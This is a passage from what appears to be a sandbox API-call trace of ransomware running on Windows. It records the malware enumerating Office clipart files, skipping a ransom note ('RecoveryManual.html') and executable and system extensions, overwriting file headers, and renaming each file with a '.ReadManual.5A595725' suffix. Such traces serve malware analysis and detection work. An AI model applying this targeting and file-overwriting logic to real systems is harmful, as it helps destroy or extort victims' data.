lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.234] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.234] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb20) returned 0x2f0000 [0263.234] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.234] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38390278476) returned 1 [0263.234] CloseHandle (hObject=0x184) returned 1 [0263.234] SetSecurityInfo () returned 0x57 [0263.234] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.234] CloseHandle (hObject=0x194) returned 1 [0263.234] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x47c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH01015_.WMF", cAlternateFileName="")) returned 1 [0263.234] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH01015_.WMF" | out: lpString1="HH01015_.WMF") returned="HH01015_.WMF" [0263.234] lstrcmpiW (lpString1="HH01015_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.234] StrStrIW (lpFirst="HH01015_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.234] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.235] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.235] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.235] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.235] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.235] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.235] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.235] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.235] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.235] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.235] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.235] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.235] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.235] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.235] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" [0263.235] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.ReadManual.5A595725" [0263.235] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.ReadManual.5A595725") returned 87 [0263.235] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38390377206) returned 1 [0263.235] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x20 [0263.236] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.236] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1148) returned 1 [0263.236] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x47c, lpName=0x0) returned 0x184 [0263.236] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.237] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.237] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.238] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.239] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x47c) returned 0x2f0000 [0263.239] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.239] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38390747945) returned 1 [0263.239] CloseHandle (hObject=0x184) returned 1 [0263.239] SetSecurityInfo () returned 0x57 [0263.239] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.239] CloseHandle (hObject=0x194) returned 1 [0263.239] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436e0000, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x436e0000, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH01058_.WMF", cAlternateFileName="")) returned 1 [0263.239] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH01058_.WMF" | out: lpString1="HH01058_.WMF") returned="HH01058_.WMF" [0263.239] lstrcmpiW (lpString1="HH01058_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.239] StrStrIW (lpFirst="HH01058_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.239] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.239] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.239] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.239] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.239] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.239] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.239] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.239] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.239] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.239] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.239] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.240] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.240] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.240] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.240] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" [0263.240] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.ReadManual.5A595725" [0263.240] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.ReadManual.5A595725") returned 87 [0263.240] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38390847161) returned 1 [0263.240] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x20 [0263.240] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.240] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2756) returned 1 [0263.240] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xac4, lpName=0x0) returned 0x184 [0263.241] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.241] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.241] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.243] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.243] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xac4) returned 0x2f0000 [0263.243] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.243] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38391185827) returned 1 [0263.243] CloseHandle (hObject=0x184) returned 1 [0263.243] SetSecurityInfo () returned 0x57 [0263.243] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.243] CloseHandle (hObject=0x194) returned 1 [0263.243] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e49800, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39e49800, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH01065_.WMF", cAlternateFileName="")) returned 1 [0263.243] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH01065_.WMF" | out: lpString1="HH01065_.WMF") returned="HH01065_.WMF" [0263.243] lstrcmpiW (lpString1="HH01065_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.243] StrStrIW (lpFirst="HH01065_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.244] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.244] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.244] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.244] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.244] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.244] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.244] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.244] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.244] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.244] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.244] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.244] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.244] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.244] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.244] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" [0263.244] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.ReadManual.5A595725" [0263.244] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.ReadManual.5A595725") returned 87 [0263.244] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38391281596) returned 1 [0263.244] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x20 [0263.244] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.245] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1268) returned 1 [0263.245] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f4, lpName=0x0) returned 0x184 [0263.245] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.245] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.245] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.247] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.247] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4f4) returned 0x2f0000 [0263.247] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.247] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38391615063) returned 1 [0263.247] CloseHandle (hObject=0x184) returned 1 [0263.247] SetSecurityInfo () returned 0x57 [0263.248] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.248] CloseHandle (hObject=0x194) returned 1 [0263.248] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a09b00, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25a09b00, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH01080_.WMF", cAlternateFileName="")) returned 1 [0263.248] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH01080_.WMF" | out: lpString1="HH01080_.WMF") returned="HH01080_.WMF" [0263.248] lstrcmpiW (lpString1="HH01080_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.248] StrStrIW (lpFirst="HH01080_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.248] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.248] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.248] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.248] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.248] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.248] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.248] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.248] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.248] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.248] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.248] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.248] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.248] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.248] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.248] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" [0263.248] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.ReadManual.5A595725" [0263.248] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.ReadManual.5A595725") returned 87 [0263.248] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38391714122) returned 1 [0263.248] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x20 [0263.249] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.249] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5000) returned 1 [0263.249] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1388, lpName=0x0) returned 0x184 [0263.249] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.249] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.250] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.251] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.251] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1388) returned 0x2f0000 [0263.251] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.252] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38392029051) returned 1 [0263.252] CloseHandle (hObject=0x184) returned 1 [0263.252] SetSecurityInfo () returned 0x57 [0263.252] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.252] CloseHandle (hObject=0x194) returned 1 [0263.252] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1cac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH01242_.WMF", cAlternateFileName="")) returned 1 [0263.252] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH01242_.WMF" | out: lpString1="HH01242_.WMF") returned="HH01242_.WMF" [0263.252] lstrcmpiW (lpString1="HH01242_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.252] StrStrIW (lpFirst="HH01242_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.252] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.252] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.252] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.252] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.252] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.252] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.252] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.252] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.252] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.252] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.252] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.252] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.252] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.252] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.252] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" [0263.252] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.ReadManual.5A595725" [0263.252] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.ReadManual.5A595725") returned 87 [0263.252] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38392127307) returned 1 [0263.253] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x20 [0263.254] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.254] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7340) returned 1 [0263.254] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1cac, lpName=0x0) returned 0x184 [0263.254] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.254] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.254] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.256] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.256] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1cac) returned 0x2f0000 [0263.256] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.257] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38392535331) returned 1 [0263.257] CloseHandle (hObject=0x184) returned 1 [0263.257] SetSecurityInfo () returned 0x57 [0263.257] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.257] CloseHandle (hObject=0x194) returned 1 [0263.257] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3dbe, dwReserved0=0xa0000003, dwReserved1=0x0, 